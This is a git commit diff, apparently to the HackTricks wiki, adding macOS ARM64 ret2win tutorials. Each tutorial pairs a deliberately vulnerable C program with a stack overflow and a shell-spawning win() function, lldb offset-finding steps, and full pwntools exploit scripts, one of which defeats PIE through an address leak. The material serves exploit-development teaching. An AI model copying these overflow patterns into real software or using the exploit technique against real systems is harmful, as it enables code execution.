new macos exploiting examples

This commit is contained in:
carlospolop 2025-09-05 20:47:46 +02:00
parent e3033e108d
commit 26cd76f6b1
2 changed files with 301 additions and 9 deletions

View File

@ -201,7 +201,286 @@ print(p.recvline())
p.close()
```
### Notes on modern AArch64 hardening (PAC/BTI) and ret2win
## macOS
### Code
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}
void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}
int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}
```
Compile without canary (in macOS you can't disable PIE):
```bash
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
```
Execute without ASLR (although as we have an address leak, we don't need it):
```bash
env DYLD_DISABLE_ASLR=1 ./bof_macos
```
> [!TIP]
> It's not possible to disable NX in macOS because in arm64 this mode is implemented at hardware level so you can't disable it, so you won't be finding examples with shellcode in stack in macOS.
### Find the offset
- Generate a pattern:
```bash
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
```
- Run the program and input the pattern to cause a crash:
```bash
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
```
- Check register `x30` (the return address) to find the offset:
```bash
(lldb) register read x30
```
- Use `cyclic -l <value>` to find the exact offset:
```bash
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
```
- Thats how I found the offset `72`, putting in that offset the address of `win()` function you can execute that function and get a shell (running without ASLR).
### Exploit
```python
#!/usr/bin/env python3
from pwn import *
import re
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)
win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
```
## macOS - 2nd example
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}
__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}
__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}
int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);
// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
// Sleep 3s
sleep(3);
vuln();
return 0;
}
```
Compile without canary (in macOS you can't disable PIE):
```bash
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
```
### Find the offset
- Generate a pattern into the file `/tmp/exploit.txt`:
```bash
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
```
- Run the program to cause a crash:
```bash
lldb ./bof_macos
(lldb) run
```
- Check register `x30` (the return address) to find the offset:
```bash
(lldb) register read x30
```
- Use `cyclic -l <value>` to find the exact offset:
```bash
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
```
- Thats how I found the offset `72`, putting in that offset the address of `win()` function you can execute that function and get a shell (running without ASLR).
### Calculate the address of win()
- The binary is PIE, using the leak of `leak_anchor()` function and knowing the offset of `win()` function from `leak_anchor()` function we can calculate the address of `win()` function.
```bash
objdump -d bof_macos | grep -E 'leak_anchor|win'
0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
```
- The offset is `0x47c - 0x460 = 0x1c`
### Exploit
```python
#!/usr/bin/env python3
from pwn import *
import re
import os
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)
print("[*] Payload written to /tmp/exploit.txt")
# Drop to an interactive session
p.interactive()
```
## Notes on modern AArch64 hardening (PAC/BTI) and ret2win
- If the binary is compiled with AArch64 Branch Protection, you may see `paciasp`/`autiasp` or `bti c` emitted in function prologues/epilogues. In that case:
- Returning to an address that is not a valid BTI landing pad may raise a `SIGILL`. Prefer targeting the exact function entry that contains `bti c`.
@ -210,7 +489,7 @@ p.close()
- `readelf --notes -W ./ret2win` and look for `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notes.
- `objdump -d ./ret2win | head -n 40` and look for `bti c`, `paciasp`, `autiasp`.
### Running on nonARM64 hosts (qemuuser quick tip)
## Running on nonARM64 hosts (qemuuser quick tip)
If you are on x86_64 but want to practice AArch64:
@ -229,11 +508,12 @@ gdb-multiarch ./ret2win -ex 'target remote :1234'
### Related HackTricks pages
-
{{#ref}}
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
{{#endref}}
-
{{#ref}}
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
{{#endref}}

View File

@ -4,12 +4,13 @@
Find an introduction to arm64 in:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code
## Linux
### Code
```c
#include <stdio.h>
@ -32,7 +33,7 @@ Compile without pie, canary and nx:
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## No ASLR & No canary - Stack Overflow
### No ASLR & No canary - Stack Overflow
To stop ASLR execute:
@ -79,6 +80,17 @@ The only "complicated" thing to find here would be the address in the stack to c
I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
## macOS
> [!TIP]
> It's not possible to disable NX in macOS because in arm64 this mode is implemented at hardware level so you can't disable it, so you won't be finding examples with shellcode in stack in macOS.
Check a macOS ret2win example in:
{{#ref}}
../ret2win/ret2win-arm64.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}